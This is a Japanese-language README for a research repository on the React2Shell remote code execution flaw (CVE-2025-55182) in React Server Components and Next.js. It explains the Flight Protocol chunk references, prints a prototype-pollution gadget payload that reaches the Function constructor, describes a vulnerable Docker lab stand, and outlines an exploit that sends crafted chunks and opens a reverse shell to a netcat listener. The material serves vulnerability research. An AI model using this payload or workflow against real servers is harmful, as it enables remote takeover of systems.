
CVE-2025-55182に関する私の研究
このリポジトリは、CVE-2025-55182(別名 React2Shell 脆弱性)に関する私の研究です。リポジトリは stand と exploit の2つの主要部分で構成されています。
このセキュリティ欠陥に関する情報:
脆弱性の根本原因は基本的にユーザー入力の検証不足です。しかし、そんなに単純ではありません =)
React Client と React Server は React Flight Protocol (RFP) を使用してデータを交換します。これについての良い講演がありますので、すぐに理解できるでしょう。
React Flight Protocol のメッセージチャンクの例:
{
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
RFP のチャンクは $ 演算子を使用して相互に参照できます。後でサーバー上でチャンクがデシリアライズされる際に、これらのリンクが解決されます。ここで重要なのは、そこからオブジェクトのプロトタイプにアクセスできることです。
プロトタイプを操作することで、V8 に .then() を待機させることができます。結果のペイロードは次のようになります:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
このガジェットチェーンが実際にどのように動作するかの詳細には深く立ち入りません。もっと知りたい場合は、Moritz Sanft による素晴らしい分析こちら を読んでください。
この欠陥についてさらに深く掘り下げたい場合は、パッチ前後のGitHubバージョン比較 もご覧ください。
シンプルな React/Next.js アプリを作成しました(stand/package.json を参照):
"dependencies": {
"next": "16.0.6",
"react": "19.2.0",
"react-dom": "19.2.0"
},
create-next-app で作成した、テキストコンテンツのみのシンプルなページです:
起動するには、stand ディレクトリで次を実行します:
docker compose up --build -d
ブラウザで http://localhost:3000 にアクセスしてください。
エクスプロイトは簡単です。特別に構築した RFP チャンクにペイロードを乗せて、POST リクエストでサーバーに送信するだけです。exploit/src/main.py を参照してください。また、サーバーが脆弱かどうかを確認する簡単なチェックも含まれています。whoami コマンドを実行し、タイムアウトが発生した場合は、おそらくパッチ適用済みバージョンを使用しているサーバーです。
RFP ペイロードは exploit/resource/chunk.json にあります。
エクスプロイトを実行する前に、リバースシェルを取得するために netcat リスナーをセットアップし、exploit/resource/config.toml に自分のホストとポートを更新することを忘れないでください。
ハッキングをお楽しみください!
脆弱性を発見した Lachlan Davidson 氏、優れたガジェットを見つけた maple 氏、そして PoC を公開し素晴らしい分析を書いた Moritz Sanft 氏に多大なる敬意を表します。
prod by I3r1h0n.